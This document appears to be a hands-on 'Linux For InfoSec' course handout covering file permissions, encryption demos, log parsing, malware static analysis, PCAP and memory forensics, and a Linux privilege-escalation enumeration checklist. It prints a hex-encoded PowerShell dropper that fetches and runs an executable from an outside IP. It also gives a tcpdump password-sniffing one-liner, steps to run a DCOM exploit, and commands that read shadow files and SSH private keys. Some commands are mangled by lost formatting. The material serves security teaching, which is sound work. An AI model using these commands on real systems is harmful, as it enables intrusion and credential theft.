###############

Permissions

############### ----------Type This---------- cd ~

pwd

ls

cd LinuxBasics

ls -l one

We can determine a lot from examining the results of this command. The file "one" is owned by user "me". Now "me" has the right to read and write this file. The file is owned by the group "me". Members of the group "me" can also read and write this file. Everybody else can read this file

----------Type This---------- ls -l /bin/bash

Here we can see:

The file "/bin/bash" is owned by user "root". The superuser has the right to read, write, and execute this file. The file is owned by the group "root". Members of the group "root" can also read and execute this file. Everybody else can read and execute this file

The next command you need to know is "chmod" rwx rwx rwx = 111 111 111 rw- rw- rw- = 110 110 110 rwx --- --- = 111 000 000

and so on...

rwx = 111 in binary = 7 rw- = 110 in binary = 6 r-x = 101 in binary = 5 r-- = 100 in binary = 4

----------Type This---------- ls -l one

chmod 600 one

ls -l one

sudo useradd testuser infosecaddicts

sudo passwd testuser

testuser testuser

sudo chown testuser one infosecaddicts

ls -l one

sudo chgrp testuser one infosecaddicts

ls -l one

id

su testuser testuser

Here is a table of numbers that covers all the common settings. The ones beginning with "7" are used with programs (since they enable execution) and the rest are for other kinds of files.

Value Meaning 777 (rwxrwxrwx) No restrictions on permissions. Anybody may do anything. Generally not a desirable setting.

755 (rwxr-xr-x) The file's owner may read, write, and execute the file. All others may read and execute the file. This setting is common for programs that are used by all users.

700 (rwx------) The file's owner may read, write, and execute the file. Nobody else has any rights. This setting is useful for programs that only the owner may use and must be kept private from others.

666 (rw-rw-rw-) All users may read and write the file.

644 (rw-r--r--) The owner may read and write a file, while all others may only read the file. A common setting for data files that everybody may read, but only the owner may change.

600 (rw-------) The owner may read and write a file. All others have no rights. A common setting for data files that the owner wants to keep private.

Directory permissions

The chmod command can also be used to control the access permissions for directories. In most ways, the permissions scheme for directories works the same way as they do with files. However, the execution permission is used in a different way. It provides control for access to file listing and other things. Here are some useful settings for directories:

Value Meaning 777 (rwxrwxrwx) No restrictions on permissions. Anybody may list files, create new files in the directory and delete files in the directory. Generally not a good setting.

755 (rwxr-xr-x) The directory owner has full access. All others may list the directory, but cannot create files nor delete them. This setting is common for directories that you wish to share with other users.

700 (rwx------) The directory owner has full access. Nobody else has any rights. This setting is useful for directories that only the owner may use and must be kept private from others.

######################

Process Management

###################### ----------Type This---------- top

sudo apt install -y htop infosecaddicts

htop

ps

ps aux

ps -A

ps -A | less

ps axjf

pstree

pstree -A

pgrep bash

pgrep init

ps aux | grep apache

You can list all of the signals that are possible to send with kill by typing: ----------Type This---------- kill -l

sudo kill -HUP pid_of_apache

The pkill command works in almost exactly the same way as kill, but it operates on a process name instead:

pkill -9 ping The above command is the equivalent of:

kill -9 `pgrep ping`

####################

MD5 Hashing Demo

###################### ----------Type This---------- cd ~/LinuxBasics mkdir hashdemo cd hashdemo echo test > test.txt cat test.txt md5sum test.txt echo hello >> test.txt cat test.txt md5sum test.txt cd ..

################################

Symmetric Key Encryption Demo

################################## ---------- Type This---------- cd ~/LinuxBasics mkdir gpgdemo cd gpgdemo echo test > test.txt cat test.txt gpg -c test.txt password password ls | grep test cat test.txt cat test.txt.gpg rm -rf test.txt ls | grep test gpg -o output.txt test.txt.gpg cat output.txt

##
#####################################

Asymmetric Key Encryption Demo

Configure random number generator

https://www.howtoforge.com/helping-the-random-number-generator-to-gain-enough-entropy-with-rng-tools-debian-lenny

##
##################################### ----------Type This---------- sudo apt install -y rng-tools infosecaddicts

sudo /etc/init.d/rng-tools start

sudo rngd -r /dev/urandom infosecaddicts

echo hello > file1.txt echo goodbye > file2.txt echo green > file3.txt echo blue > file4.txt

tar czf files.tar.gz *.txt

gpg --gen-key 1 1024 0 y John Doe john@doe.com --blank comment-- O password password

gpg --armor --output file-enc-pubkey.txt --export 'John Doe'

cat file-enc-pubkey.txt

gpg --armor --output file-enc-privkey.asc --export-secret-keys 'John Doe'

cat file-enc-privkey.asc

gpg --encrypt --recipient 'John Doe' files.tar.gz

rm -rf files.tar.gz *.txt

ls

tar -zxvf files.tar.gz.gpg

gpg --output output.tar.gz --decrypt files.tar.gz.gpg password

tar -zxvf output.tar.gz

ls

############################

Encryption using OpenSSL

############################ ----------Type This----------

openssl genrsa -out private_key.pem 1024

openssl rsa -in private_key.pem -out public_key.pem -outform PEM -pubout

echo hello > encrypt.txt openssl rsautl -encrypt -inkey public_key.pem -pubin -in encrypt.txt -out encrypt.dat

cat encrypt.dat

rm -rf encrypt.txt

ls

openssl rsautl -decrypt -inkey private_key.pem -in encrypt.dat -out decrypt.txt

cat decrypt.txt

##############################

Secure File/Folder Deletion

############################## ----------Type This----------

sudo apt install -y secure-delete

wget https://www.sans.org/security-resources/tcpip.pdf

file tcpip.pdf

sudo srm tcpip.pdf

wget https://www.sans.org/security-resources/tcpip.pdf

shred tcpip.pdf

wget https://www.sans.org/security-resources/tcpip.pdf

##

Log Analysis with Linux command-line tools

##

- The following command line executables are found in the Mac as well as most Linux Distributions.

cat – prints the content of a file in the terminal window grep – searches and filters based on patterns awk – can sort each row into fields and display only what is needed sed – performs find and replace functions sort – arranges output in an order uniq – compares adjacent lines and can report, filter or provide a count of duplicates

##########

Cisco Logs

----------Type This---------- wget https://s3.amazonaws.com/infosecaddictsfiles/cisco.log

AWK Basics

- To quickly demonstrate the print feature in awk, we can instruct it to show only the 5th word of each line. Here we will print $5. Only the last 4 lines are being shown for brevity. ----------Type This---------- cat cisco.log | awk '{print $5}' | tail -n 4

- Looking at a large file would still produce a large amount of output. A more useful thing to do might be to output every entry found in “$5”, group them together, count them, then sort them from the greatest to least number of occurrences. This can be done by piping the output through “sort“, using “uniq -c” to count the like entries, then using “sort -rn” to sort it in reverse order. ----------Type This---------- cat cisco.log | awk '{print $5}'| sort | uniq -c | sort -rn

---

- While that’s sort of cool, it is obvious that we have some garbage in our output. Evidently we have a few lines that aren’t conforming to the output we expect to see in $5. We can insert grep to filter the file prior to feeding it to awk. This insures that we are at least looking at lines of text that contain “facility-level-mnemonic”. ----------Type This---------- cat cisco.log | grep %[a-zA-Z]-*[0-9]-[a-zA-Z]* | awk '{print $5}' | sort | uniq -c | sort -rn

---

- Now that the output is cleaned up a bit, it is a good time to investigate some of the entries that appear most often. One way to see all occurrences is to use grep. ----------Type This---------- cat cisco.log | grep %LINEPROTO-5-UPDOWN:

cat cisco.log | grep %LINEPROTO-5-UPDOWN:| awk '{print $10}' | sort | uniq -c | sort -rn

cat cisco.log | grep %LINEPROTO-5-UPDOWN:| sed 's/,//g' | awk '{print $10}' | sort | uniq -c | sort -rn

cat cisco.log | grep %LINEPROTO-5-UPDOWN:| sed 's/,//g' | awk '{print $10 " changed to " $14}' | sort | uniq -c | sort -rn

################

The Scenario

################ You've come across a file that has been flagged by one of your security products (AV Quarantine, HIPS, Spam Filter, Web Proxy, or digital forensics scripts).

The fastest thing you can do is perform static analysis.

##################

Static Analysis

###################

- After logging please open a terminal window and type the following commands: ----------
--Type This---------- cd Desktop/

- This is actual Malware (remmeber to run it in a VM - the password to extract it is 'infected':

----------Type This---------- cd ~/Desktop/ wget https://s3.amazonaws.com/infosecaddictsfiles/malware-password-is-infected.zip --no-check-certificate wget https://s3.amazonaws.com/infosecaddictsfiles/analyse_malware.py --no-check-certificate

unzip malware-password-is-infected.zip infected

file malware.exe

mv malware.exe malware.pdf

file malware.pdf

mv malware.pdf malware.exe

hexdump -n 2 -C malware.exe

What is '4d 5a' or 'MZ' Reference: http://www.garykessler.net/library/file_sigs.html

----------Type This---------- objdump -x malware.exe

strings malware.exe

strings --all malware.exe | head -n 6

strings malware.exe | grep -i dll

strings malware.exe | grep -i library

strings malware.exe | grep -i reg

strings malware.exe | grep -i hkey

strings malware.exe | grep -i hku

```
                        - We didn't see anything like HKLM, HKCU or other registry
type stuff
```

----------Type This---------- strings malware.exe | grep -i irc

strings malware.exe | grep -i join

strings malware.exe | grep -i admin

strings malware.exe | grep -i list

```
                        - List of IRC commands:
https://en.wikipedia.org/wiki/List_of_Internet_Relay_Chat_commands
```

----------Type This---------- sudo apt-get install -y python-pefile malware

vi analyse_malware.py

python analyse_malware.py malware.exe

################################

Good references for WannaCry

################################

References:

https://gist.github.com/rain-1/989428fa5504f378b993ee6efbc0b168
https://securingtomorrow.mcafee.com/executive-perspectives/analysis-wannacry-ransomware-outbreak/
https://joesecurity.org/reports/report-db349b97c37d22f5ea1d1841e3c89eb4.html

- After logging please open a terminal window and type the following commands: ----------Type This---------- cd Desktop/

wget https://s3.amazonaws.com/infosecaddictsfiles/wannacry.zip

unzip wannacry.zip infected

file wannacry.exe

mv wannacry.exe malware.pdf

file malware.pdf

mv malware.pdf wannacry.exe

hexdump -n 2 -C wannacry.exe

What is '4d 5a' or 'MZ' Reference: http://www.garykessler.net/library/file_sigs.html

----------Type This---------- objdump -x wannacry.exe

strings wannacry.exe

strings --all wannacry.exe | head -n 6

strings wannacry.exe | grep -i dll

strings wannacry.exe | grep -i library

strings wannacry.exe | grep -i reg

strings wannacry.exe | grep -i key

strings wannacry.exe | grep -i rsa

strings wannacry.exe | grep -i open

strings wannacry.exe | grep -i get

strings wannacry.exe | grep -i mutex

strings wannacry.exe | grep -i irc

strings wannacry.exe | grep -i join

strings wannacry.exe | grep -i admin

strings wannacry.exe | grep -i list

Hmmmmm.....what's the latest thing in the news - oh yeah "WannaCry"

Quick Google search for "wannacry ransomeware analysis"

Reference https://securingtomorrow.mcafee.com/executive-perspectives/analysis-wannacry-ransomware-outbreak/

- Yara Rule -

Strings: $s1 = “Ooops, your files have been encrypted!” wide ascii nocase $s2 = “Wanna Decryptor” wide ascii nocase $s3 = “.wcry” wide ascii nocase $s4 = “WANNACRY” wide ascii nocase $s5 = “WANACRY!” wide ascii nocase $s7 = “icacls . /grant Everyone:F /T /C /Q” wide ascii nocase

Ok, let's look for the individual strings

----------Type This---------- strings wannacry.exe | grep -i ooops

strings wannacry.exe | grep -i wanna

strings wannacry.exe | grep -i wcry

strings wannacry.exe | grep -i wannacry

strings wannacry.exe | grep -i wanacry **** Matches $s5, hmmm.....

####################################

Tired of GREP - let's try Python

################################### Decided to make my own script for this kind of stuff in the future. I

Reference1: https://s3.amazonaws.com/infosecaddictsfiles/analyse_malware.py

This is a really good script for the basics of static analysis

Reference: https://joesecurity.org/reports/report-db349b97c37d22f5ea1d1841e3c89eb4.html

This is really good for showing some good signatures to add to the Python script

Here is my own script using the signatures (started this yesterday, but still needs work): https://pastebin.com/guxzCBmP

----------Type This---------- sudo apt install -y python-pefile infosecaddicts

wget https://pastebin.com/raw/guxzCBmP

mv guxzCBmP am.py

vi am.py

python am.py wannacry.exe

Building a Malware Scanner

----------Type This---------- mkdir ~/Desktop/malwarescanner

cd ~/Desktop/malwarescanner

wget https://github.com/jonahbaron/malwarescanner/archive/master.zip

unzip master.zip

cd malwarescanner-master/

python scanner.py -h

cat strings.txt

cat hashes.txt

mkdir ~/Desktop/malcode

cp ~/Desktop/malware.exe ~/Desktop/malcode

python scanner.py -H hashes.txt -D ~/Desktop/malcode/ strings.txt

cd ~/Desktop/

##

Analyzing Macro Embedded Malware

Reference:

https://jon.glass/analyzes-dridex-malware-p1/

----------Type This---------- cd ~/Desktop/

sudo pip install olefile

mkdir ~/Desktop/oledump

cd ~/Desktop/oledump

wget http://didierstevens.com/files/software/oledump_V0_0_22.zip

unzip oledump_V0_0_22.zip

wget https://s3.amazonaws.com/infosecaddictsfiles/064016.zip

unzip 064016.zip infected

python oledump.py 064016.doc

python oledump.py 064016.doc -s A4 -v

- From this we can see this Word doc contains an embedded file called editdata.mso which contains seven data streams.
- Three of the data streams are flagged as macros: A3:'VBA/Module1', A4:'VBA/Module2', A5:'VBA/ThisDocument'.

----------Type This---------- python oledump.py 064016.doc -s A5 -v

- As far as I can tell, VBA/Module2 does absolutely nothing. These are nonsensical functions designed to confuse heuristic scanners.

----------Type This---------- python oledump.py 064016.doc -s A3 -v

- Look for "GVhkjbjv" and you should see:

636D64202F4B20706F7765727368656C6C2E657865202D457865637574696F6E506F6C69637920627970617373202D6E6F70726F66696C6520284E65772D4F626A65637420537973746D2E4E65742E576562436C69656E74292E446F776E6C6F616446696C652827687474703A2F2F36322E37362E34312E31352F6173616C742F617373612E657865272C272554454D50255C4A494F696F646668696F49482E63616227293B20657870616E64202554454D50255C4A494F696F646668696F49482E636162202554454D50255C4A494F696F646668696F49482E6578653B20737461727420554454D50255C4A494F696F646668696F49482E6578653B

- Take that long blob that starts with 636D and finishes with 653B and paste it in: http://www.rapidtables.com/convert/number/hex-to-ascii.htm

##############

Yara Ninja

############## ----------Type This---------- sudo apt-get remove -y yara

wget https://github.com/plusvic/yara/archive/v3.4.0.zip

sudo apt-get -y install libtool

unzip v3.4.0.zip

cd yara-3.4.0

./bootstrap.sh

./configure

make

sudo make install

yara -v

cd ..

wget https://github.com/Yara-Rules/rules/archive/master.zip

unzip master.zip

cd ~/Desktop

yara rules-master/packer.yar malcode/malware.exe

Places to get more Yara rules:

https://malwareconfig.com/static/yaraRules/ https://github.com/kevthehermit/YaraRules https://github.com/VectraThreatLab/reyara

Yara rule sorting script:

https://github.com/mkayoh/yarasorter

----------Type This---------- cd ~/Desktop/rules-master for i in $(ls *.yar --hide=master.yar); do echo include "$i";done > master.yar cd ~/Desktop/ yara rules-master/master.yar malcode/malware.exe

Here is a 2 million sample malware DB created by Derek Morton that you can use to start your DB with: http://derekmorton.name/files/malware_12-14-12.sql.bz2

Malware Repositories: http://malshare.com/index.php http://www.malwareblacklist.com/ http://www.virusign.com/ http://virusshare.com/ http://www.tekdefense.com/downloads/malware-samples/

##############################

Creating a Malware Database

##############################

Creating a malware database (sqlite) ----------Type This---------- sudo apt-get install -y python-simplejson python-simplejson-dbg

wget https://s3.amazonaws.com/infosecaddictsfiles/avsubmit.py wget https://s3.amazonaws.com/infosecaddictsfiles/malware-password-is-infected.zip

unzip malware-password-is-infected.zip infected

python avsubmit.py --init

python avsubmit.py -f malware.exe -e

Creating a malware database (mysql)

- Step 1: Installing MySQL database
- Run the following command in the terminal: ----------Type This---------- sudo apt-get install mysql-server
- Step 2: Installing Python MySQLdb module
- Run the following command in the terminal: ----------Type This---------- sudo apt-get build-dep python-mysqldb

sudo apt-get install python-mysqldb

Step 3: Logging in Run the following command in the terminal: ----------Type This---------- mysql -u root -p (set a password of 'malware')

- Then create one database by running following command: ----------Type This---------- create database malware;

exit;

wget https://raw.githubusercontent.com/dcmorton/MalwareTools/master/mal_to_db.py

vi mal_to_db.py (fill in database connection information)

python mal_to_db.py -i

------- check it to see if the files table was created ------

mysql -u root -p malware

show databases;

use malware;

show tables;

describe files;

exit;

- Now add the malicious file to the DB ----------Type This----------
  python mal_to_db.py -f malware.exe -u

- Now check to see if it is in the DB ----------Type This----------
  mysql -u root -p malware

mysql> use malware;

select id,md5,sha1,sha256,time FROM files;

mysql> quit;

##################

PCAP Analysis

################## ----------Type This---------- cd ~/Desktop/

mkdir suspiciouspcap/

cd suspiciouspcap/

wget https://s3.amazonaws.com/infosecaddictsfiles/suspicious-time.pcap

wget https://s3.amazonaws.com/infosecaddictsfiles/chaosreader.pl

perl chaosreader.pl suspicious-time.pcap

firefox index.html

cat index.text | grep -v '"' | grep -oE "([0-9]+.){3}[0-9]+.*)"

cat index.text | grep -v '"' | grep -oE "([0-9]+.){3}[0-9]+.*)" | awk '{print $4, $5, $6}' | sort | uniq -c | sort -nr

for i in session_00[0-9]*.http.html; do srcip=cat "$i" | grep 'http:\ ' | awk '{print $2}' | cut -d ':' -f1; dstip=cat "$i" | grep 'http:\ ' | awk '{print $4}' | cut -d ':' -f1; host=cat "$i" | grep 'Host:\ ' | sort -u | sed -e 's/Host:\ //g'; echo "$srcip --> $dstip = $host"; done | sort -u

####################

Intro to TCPDump

#################### ----------Type This---------- sudo apt-get install tcpdump

Basic sniffing

----------Type This---------- sudo tcpdump -n

Now lets increase the display resolution of this packet, or get more details about it. The verbose switch comes in handy ----------Type This---------- sudo tcpdump -v -n

Getting the ethernet header (link layer headers)

In the above examples details of the ethernet header are not printed. Use the -e option to print the ethernet header details as well. ----------Type This---------- sudo tcpdump -vv -n -e

Sniffing a particular interface

In order to sniff a particular network interface we must specify it with the -i switch. First lets get the list of available interfaces using the -D switch. ----------Type This---------- sudo tcpdump -D

Filtering packets using expressions - Selecting protocols

----------Type This---------- $ sudo tcpdump -n tcp

Particular host or port

Expressions can be used to specify source ip, destination ip, and port numbers. The next example picks up all those packets with source address 192.168.1.101 ----------Type This---------- $ sudo tcpdump -n 'src 192.168.1.101'

Next example picks up dns request packets, either those packets which originate from local machine and go to port 53 of some other machine. ----------Type This---------- $ sudo tcpdump -n 'udp and dst port 53'

To display the FTP packets coming from 192.168.1.100 to 192.168.1.2 ----------Type This---------- $ sudo tcpdump 'src 192.168.1.100 and dst 192.168.1.2 and port ftp'

Search the network traffic using grep

Grep can be used along with tcpdump to search the network traffic. Here is a very simple example ----------Type This---------- $ sudo tcpdump -n -A | grep -e 'POST'

So what is the idea behind searching packets. Well one good thing can be to sniff passwords. Here is quick example to sniff passwords using egrep

----------Type This---------- tcpdump port http or port ftp or port smtp or port imap or port pop3 -l -A | egrep -i 'pass=|pwd=|log=|login=|user=|username=|pw=|passw=|passwd=|password=|pass:|user:|username:|password:|login:|pass |user ' --color=auto --line-buffered -B20

#########

NGrep

#########

Install ngrep on Ubuntu ----------Type This---------- $ sudo apt-get install ngrep

Search network traffic for string "User-Agent: " ----------Type This---------- $ sudo ngrep -d eth0 "User-Agent: " tcp and port 80

In the above command : a) tcp and port 80 - is the bpf filter (Berkeley Packet Filter) , that sniffs only TCP packet with port number 80 b) The d option specifies the interface to sniff. eth0 in this case. c) "User-Agent: " is the string to search for. All packets that have that string are displayed.

2. Search network packets for GET or POST requests : ----------Type This---------- $ sudo ngrep -l -q -d eth0 "^GET |^POST " tcp and port 80

The l option makes the output buffered and the q option is for quiet (Be quiet; don't output any information other than packet headers and their payloads (if relevant)).

3. ngrep without any options would simply capture all packets. ----------Type This---------- $ sudo ngrep

---

Reference: https://dl.packetstormsecurity.net/papers/general/ngreptut.txt ----------Type This---------- $ sudo ngrep -d eth0 -n 3

$ sudo ngrep -d any port 25

This will let you monitor all activity crossing source or destination port 25 (SMTP). ---------- Type This---------- $ sudo ngrep -wi -d wlan0 'user|pass' port 6667

$ sudo ngrep -wi -d any 'user|pass' port 21

##############################

PCAP Analysis with tshark

############################## ----------Type This----------
sudo tshark -i eth0 -r suspicious-time.pcap -qz io,phs

tshark -r suspicious-time.pcap | grep 'NB.*20*>' | *sed -e 's/<[^>]*>//g'* | awk '{print $3,$4,$9}' | sort -u

tshark -r suspicious-time.pcap | grep 'NB.*1e*>' | *sed -e 's/<[^>]*>//g'* | awk '{print $3,$4,$9}' | sort -u

tshark -r suspicious-time.pcap arp | grep has | awk '{print $3," -> ",$9}' | tr -d '?'

tshark -r suspicious-time.pcap -Tfields -e "eth.src" | sort | uniq

tshark -r suspicious-time.pcap -R "browser.command==1" -Tfields -e "ip.src" -e "browser.server" | uniq

tshark -r suspicious-time.pcap -Tfields -e "eth.src" | sort |uniq

tshark -r suspicious-time.pcap -qz ip_hosts,tree

tshark -r suspicious-time.pcap -R "http.request" -Tfields -e "ip.src" -e "http.user_agent" | uniq

tshark -r suspicious-time.pcap -R "dns" -T fields -e "ip.src" -e "dns.flags.response" -e "dns.qry.name"

whois rapidshare.com.eyu32.ru

whois sploitme.com.cn

tshark -r suspicious-time.pcap -R http.request -T fields -e ip.src -e ip.dst -e http.host -e http.request.uri | awk '{print $1," -> ",$2, "\t: ","http://"$3$4}'

tshark -r suspicious-time.pcap -R http.request -T fields -e ip.src -e ip.dst -e http.host -e http.request.uri | awk '{print $1," -> ",$2, "\t: ","http://"$3$4}' | grep -v -e '/image' -e '.css' -e '.ico' -e google -e 'honeynet.org'

tshark -r suspicious-time.pcap -qz http_req,tree

tshark -r suspicious-time.pcap -R "data-text-lines contains "<script"" -T fields -e frame.number -e ip.src -e ip.dst

tshark -r suspicious-time.pcap -R http.request -T fields -e ip.src -e ip.dst -e http.host -e http.request.uri | awk '{print $1," -> ",$2, "\t: ","http://"$3$4}' | grep -v -e '/image' -e '.css' -e '.ico' | grep 10.0.3.15 | sed -e 's/?[^cse].*/?.../g'

####################################

PCAP Analysis with forensicPCAP.py

###################################### ----------Type This---------- -------- cd ~/Desktop/suspiciouspcap/

wget https://raw.githubusercontent.com/madpowah/ForensicPCAP/master/forensicPCAP.py

sudo pip install cmd2==0.7.9

python forensicPCAP.py suspicious-time.pcap

----------Type This---------- ForPCAP >>> help

Prints stats about PCAP ----------Type This---------- ---------- ForPCAP >>> stat

Prints all DNS requests from the PCAP file. The id before the DNS is the packet's id which can be use with the "show" command. ----------Type This---------- ForPCAP >>> dns

ForPCAP >>> show

Prints all destination ports from the PCAP file. The id before the DNS is the packet's id which can be use with the "show" command. ----------Type This---------- ForPCAP >>> dstports

ForPCAP >>> show ----------Type This----------

Prints the number of ip source and store them. ----------Type This---------- --- ForPCAP >>> ipsrc

ForPCAP >>> show

Prints the number of web's requests and store them ForPCAP >>> web

ForPCAP >>> show

Prints the number of mail's requests and store them ----------Type This---------- --------- ForPCAP >>> mail

ForPCAP >>> show

############################

Understanding Snort rules

############################ Field 1: Action - Snort can process events in 1 of 3 ways (alert, log, drop)

Field 2: Protocol - Snort understands a few types of traffic (tcp, udp, icmp)

Field 3: Source IP (can be a variable like $External_Net, or an IP, or a range)

Field 4: Source Port (can be a variable like $WebServer_Ports, or a port number, or a range of ports)

Field 5: Traffic Direction (->)

Field 6: Destination IP (can be a variable like $External_Net, or an IP, or a range)

Field 7: Destination Port (can be a variable like $WebServer_Ports, or a port number, or a range of ports)

Field 8: MSG - what is actually displayed on the analysts machine

Let's look at 2 simple rules

alert tcp $EXTERNAL_NET any -> $HOME_NET 135 (msg:"NETBIOS DCERPC ISystemActivator bind attempt"; flow:to_server,established; content:"|05|"; distance:0; within:1; content:"|0b|"; distance:1; within:1; byte_test:1,&,1,0,relative; content:"|A0 01 00 00 00 00 00 00 C0 00 00 00 00 00 00 46|"; distance:29; within:16; reference:cve,CAN-2003-0352; classtype:attempted-admin; sid:2192; rev:1;)

alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB DCERPC ISystemActivator bind attempt"; flow:to_server,established; content:"|FF|SMB|25|"; nocase; offset:4; depth:5; content:"|26 00|"; distance:56; within:2; content:"|5c 00|P|00|I|00|P|00|E|00 5c 00|"; nocase; distance:5; within:12; content:"|05|"; distance:0; within:1; content:"|0b|"; distance:1; within:1; byte_test:1,&,1,0,relative; content:"|A0 01 00 00 00 00 00 00 C0 00 00 00 00 00 00 46|"; distance:29; within:16; reference:cve,CAN-2003-0352; classtype:attempted-admin; sid:2193; rev:1;)

From your Linux machine ping your Windows machine ----------Type This---------- ping 192.168.11.1

Start wireshark and let's create some simple filters:

Filter 1: ----------Type This---------- ip.addr==192.168.11.1

Filter 2: ----------Type This---------- ip.addr==192.168.11.1 && icmp

Filter 3: ----------Type This---------- ip.addr==192.168.11.1 && !(tcp.port==22)

Now stop your capture and restart it (make sure you keep the filter)

Back to your Linux machine: [CTRL-C] - to stop your ping ----------Type This---------- wget http://downloads.securityfocus.com/vulnerabilities/exploits/oc192-dcom.c

gcc -o exploit oc192-dcom.c

./exploit

./exploit -d 192.168.11.1 -t 0

Now go back to WireShark and stop the capture.

##########

Memory Analysis

########## ----------Type This---------- cd ~/Desktop/

sudo apt-get install -y foremost tcpxtract

wget https://s3.amazonaws.com/infosecaddictsfiles/hn_forensics.vmem

git clone https://github.com/volatilityfoundation/volatility.git

cd volatility sudo pip install distorm3 sudo python setup.py install python vol.py -h python vol.py pslist -f ~/Desktop/hn_forensics.vmem python vol.py connscan -f ~/Desktop/hn_forensics.vmem mkdir dump/ mkdir -p output/pdf/ python vol.py -f ~/Desktop/hn_forensics.vmem memdmp -p 888 -D dump/ python vol.py -f ~/Desktop/hn_forensics.vmem memdmp -p 1752 -D dump/ ***Takes a few min*** strings 1752.dmp | grep "^http://" | sort | uniq strings 1752.dmp | grep "Ahttps://" | uniq -u cd .. foremost -i ~/Desktop/volatility/dump/1752.dmp -t pdf -o output/pdf/ cd ~/Desktop/volatility/output/pdf/ cat audit.txt cd pdf ls grep -i javascript *.pdf

cd ~/Desktop/volatility/output/pdf/ wget http://didierstevens.com/files/software/pdf-parser_V0_6_4.zip unzip pdf-parser_V0_6_4.zip python pdf-parser.py -s javascript --raw pdf/00601560.pdf python pdf-parser.py --object 11 00600328.pdf python pdf-parser.py --object 1054 --raw --filter 00601560.pdf > malicious.js

cat malicious.js

Sorry - no time to cover javascript de-obfuscation today

----------Type This---------- cd ~/Desktop/volatility mkdir files2/ python vol.py -f ~/Desktop/hn_forensics.vmem dumpfiles -D files2/ python vol.py hivescan -f ~/Desktop/hn_forensics.vmem python vol.py printkey -o 0xe1526748 -f ~/Desktop/hn_forensics.vmem Microsoft "Windows NT" CurrentVersion Winlogon

##########

---------- ############### # Intro to Reversing # ############### ----------
###################### Lab walk-through documents are in the zip file along with the executables that need to be reversed: https://s3.amazonaws.com/infosecaddictsfiles/Lena151.zip

##############################

Linux For InfoSec Homework

############################## In order to receive your certificate of attendance you must complete the all of the quizzes on the http://linuxsurvival.com/linux-tutorial-introduction/ website.

Submit the results via email in an MS Word document with (naming convention example: YourFirstName-YourLastName-Linux-For-InfoSec-Homework.docx)

##############################

Linux For InfoSe Challenge

##############################

In order to receive your certificate of proficiency you must complete all of the tasks covered in the Linux For InfoSec pastebin (http://pastebin.com/eduSfPy3).

Submit the results via email in an MS Word document with (naming convention example: YourFirstName-YourLastName-Linux-For-InfoSec-Challenge.docx)

IMPORTANT NOTE: Your homework/challenge must be submitted via email to both (joe-at-strategicsec-.-com and ivana-at-strategicsec-.-com) by midnight EST.

##

What kind of Linux am I on and how can I find out?

Great reference:

https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/

##

- What's the distribution type? What version?

---

cat /etc/issue cat /etc/*-release cat /etc/lsb-release # Debian based cat /etc/redhat-release # Redhat based

- What's the kernel version? Is it 64-bit?

---

cat /proc/version uname -a uname -mrs rpm -q kernel dmesg | grep Linux ls /boot | grep vmlinuz-

- What can be learnt from the environmental variables?

---

cat /etc/profile cat /etc/bashrc cat ~/.bash_profile cat ~/.bashrc cat ~/.bash_logout env set

- What services are running? Which service has which user privilege?

---

ps aux ps -ef top cat /etc/services

- Which service(s) are been running by root? Of these services, which are vulnerable - it's worth a double check!

---

ps aux | grep root ps -ef | grep root

- What applications are installed? What version are they? Are they currently running?

---

ls -alh /usr/bin/ ls -alh /sbin/ dpkg -l rpm -qa ls -alh /var/cache/apt/archivesO ls -alh /var/cache/yum/

- Any of the service(s) settings misconfigured? Are any (vulnerable) plugins attached?

---

cat /etc/syslog.conf cat /etc/chttp.conf cat /etc/lighttpd.conf cat /etc/cups/cupsd.conf cat /etc/inetd.conf cat /etc/apache2/apache2.conf cat /etc/my.conf cat /etc/httpd/conf/httpd.conf cat /opt/lampp/etc/httpd.conf ls -aRl /etc/ | awk '$1 ~ /^.r./'

- What jobs are scheduled?

---

crontab -l ls -alh /var/spool/cron ls -al /etc/ | grep cron ls -al /etc/cron* cat /etc/cron* cat /etc/at.allow cat /etc/at.deny cat /etc/cron.allow cat /etc/cron.deny cat /etc/crontab cat /etc/anacrontab cat /var/spool/cron/crontabs/root

- Any plain text usernames and/or passwords?

---

grep -i user [filename] grep -i pass [filename] grep -C 5 "password" [filename] find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password" # Search for Joomla passwords

- What NIC(s) does the system have? Is it connected to another network?

/sbin/ifconfig -a cat /etc/network/interfaces cat /etc/sysconfig/network

- What are the network configuration settings? What can you find out about this network? DHCP server? DNS server? Gateway?

---

cat /etc/resolv.conf cat /etc/sysconfig/network cat /etc/networks iptables -L hostname dnsdomainname

- What other users & hosts are communicating with the system?

---

lsof -i lsof -i :80 grep 80 /etc/services netstat -antup netstat -antpx netstat -tulpn chkconfig --list chkconfig --list | grep 3:on last w

- Whats cached? IP and/or MAC addresses

---

arp -e route /sbin/route -nee

- Who are you? Who is logged in? Who has been logged in? Who else is there? Who can do what?

---

id who w last cat /etc/passwd | cut -d: -f1 # List of users grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}' # List of super users awk -F: '($3 == "0") {print}' /etc/passwd # List of super users cat /etc/sudoers sudo -l

- What sensitive files can be found?

---

cat /etc/passwd cat /etc/group cat /etc/shadow ls -alh /var/mail/

- Anything “interesting” in the home directorie(s)? If it’s possible to access

---

ls -ahlR /root/ ls -ahlR /home/

- Are there any passwords in; scripts, databases, configuration files or log files? Default paths and locations for passwords

---

cat /var/apache2/config.inc cat /var/lib/mysql/mysql/user.MYD cat /root/anaconda-ks.cfg

- What has the user being doing? Is there any password in plain text? What have they been edting?

---

cat ~/.bash_history cat ~/.nano_history cat ~/.atftp_history cat ~/.mysql_history cat ~/.php_history

- What user information can be found?

---

cat ~/.bashrc cat ~/.profile cat /var/mail/root cat /var/spool/mail/root

- Can private-key information be found?

---

cat ~/.ssh/authorized_keys cat ~/.ssh/identity.pub cat ~/.ssh/identity cat ~/.ssh/id_rsa.pub cat ~/.ssh/id_rsa cat ~/.ssh/id_dsa.pub cat ~/.ssh/id_dsa cat /etc/ssh/ssh_config cat /etc/ssh/sshd_config cat /etc/ssh/ssh_host_dsa_key.pub cat /etc/ssh/ssh_host_dsa_key cat /etc/ssh/ssh_host_rsa_key.pub cat /etc/ssh/ssh_host_rsa_key cat /etc/ssh/ssh_host_key.pub cat /etc/ssh/ssh_host_key

- Any settings/files (hidden) on website? Any settings file with database information?

---

ls -alhR /var/www/ ls -alhR /srv/www/htdocs/ ls -alhR /usr/local/www/apache22/data/ ls -alhR /opt/lampp/htdocs/ ls -alhR /var/www/html/

